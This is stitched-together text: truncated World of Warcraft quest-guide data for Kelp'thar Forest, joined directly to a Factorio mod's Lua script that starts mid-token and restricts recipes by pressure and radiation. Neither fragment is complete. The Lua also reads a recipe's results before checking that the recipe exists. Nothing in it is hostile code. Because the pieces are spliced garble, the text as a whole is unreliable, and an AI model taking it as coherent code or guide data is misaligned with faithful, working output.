A How Disarming|QID|25883|PRE|25887|RANK|1|M|60.3,70.1|Z|Kelp'thar Forest|N|From the Naga Tridents.|
C How Disarming|QID|25883|M|58.1,70.7|S|Z|Kelp'thar Forest|N|While you are doing the next quests, find and destroy 6 Naga Trident Stands. They can be found all around the Holding Pens.|
C Come Hell or High Water|QID|25884|S|M|56.4,70.6|Z|Kelp'thar Forest|N|Kill 12 Zin'Jatar Guardians, Overseers, or Pearlbinders. They can also drop the Wiggleweed Sprout you need for What? What? In My Gut...?.|
C What? What? In My Gut...?|QID|26040|S|M|58.1,70.7|Z|Kelp'thar Forest|N|Kill Shimmerspine Harvesters (Murlocs) which drop Wiggleweed Sprout.|
C Decompression|QID|26008|M|60.37,73.63|Z|Kelp'thar Forest|N|Swim toward the Imprisoned Soldiers further into the camp. They look like big glowing bubbles. Use the Breathstone on them to rescue the soldiers. Do this 10 times to complete Decompression.|
C How Disarming|QID|25883|M|58.1,70.7|US|Z|Kelp'thar Forest|N|Destroy the remaining Naga Weapons.|
C Come Hell or High Water|QID|25884|US|M|56.4,70.6|Z|Kelp'thar Forest|N|Kill 12 Zin'Jatar Guardians, Overseers, or Pearlbinders.|
C What? What? In My Gut...?|QID|26040|US|M|58.1,70.7|Z|Kelp'thar Forest|N|Kill Shimmerspine Harvesters (Murlocs) which drop Wiggleweed Sprout. They can also drop the Wiggleweed Sprout you need for What? What? In My Gut...?.|
T How Disarming|QID|25883|M|58.1,70.7|Z|Kelp'thar Forest|N|(UI Alert)|
T Come Hell or High Water|QID|25884|M|64.1,59.8|Z|Kelp'thar Forest|N|To Rendel Firetongue.|
A The Warden's Time|QID|27708|PRE|25884|RANK|1|M|63.8,59.7|Z|Kelp'thar Forest|N|From Erunak Stonespeaker.|
C The Warden's Time|QID|27708|M|60.2,80.4|Z|Kelp'thar Forest|N|Kill the Warden at the top of the naga village.|
T The Warden's Time|QID|27708|M|63.8,59.7|Z|Kelp'thar Forest|N|To Erunak Stonespeaker.|
A Across the Great Divide|QID|25471|PRE|27708|RANK|1|M|63.8,59.7|Z|Kelp'thar Forest|N|From Erunak Stonespeaker.|
T Decompression|QID|26008|M|63.9,59.6|Z|Kelp'thar Forest|N|To Moanah Stormhoof.|
T What? What? In My Gut...?|QID|26040|M|63.9,59.8


b.relax_surface_conditions(data.raw.recipe["cryogenic-plant"], {
		property = "pressure",
		min = 5,
	})
end

--== Restrictions ==--

if data.raw.recipe["lab"] then
	PlanetsLib.restrict_surface_conditions(data.raw.recipe["lab"], common.AMBIENT_RADIATION_MAX)
end

if data.raw.recipe["accumulator"] then
	PlanetsLib.restrict_surface_conditions(data.raw.recipe["accumulator"], common.AMBIENT_RADIATION_MAX)
end

if data.raw.recipe["nuclear-reactor"] then
	PlanetsLib.restrict_surface_conditions(data.raw.recipe["nuclear-reactor"], common.AMBIENT_RADIATION_MAX)
end

if data.raw.recipe["fusion-reactor"] then
	PlanetsLib.restrict_surface_conditions(data.raw.recipe["fusion-reactor"], common.AMBIENT_RADIATION_MAX)
end

if data.raw.recipe["fusion-generator"] then
	PlanetsLib.restrict_surface_conditions(data.raw.recipe["fusion-generator"], common.AMBIENT_RADIATION_MAX)
end

if data.raw.recipe["boiler"] then
	PlanetsLib.restrict_surface_conditions(data.raw.recipe["boiler"], common.TEN_PRESSURE_MIN)
end

if data.raw.recipe["steam-engine"] then
	PlanetsLib.restrict_surface_conditions(data.raw.recipe["steam-engine"], common.TEN_PRESSURE_MIN)
end

local speed_3_recycling_results_without_tungsten_carbide = {}
for _, result in pairs(data.raw.recipe["speed-module-3-recycling"].results) do
	if result.name ~= "tungsten-carbide" then
		table.insert(speed_3_recycling_results_without_tungsten_carbide, result)
	end
end

if data.raw.recipe["speed-module-3-recycling"] then
	data:extend({
		merge(data.raw.recipe["speed-module-3-recycling"], {
			name = "cerys-speed-module-3-recycling",
			enabled = true,
			results = speed_3_recycling_results_without_tungsten_carbide,
		}),
	})

	PlanetsLib.restrict_surface_conditions(
		data.raw.recipe["cerys-speed-module-3-recycling"],
		common.AMBIENT_RADIATION_MIN
	)
	PlanetsLib.restrict_surface_conditions(data.raw.recipe["speed-module-3-recycling"], common.AMBIENT_RADIATION_MAX)
end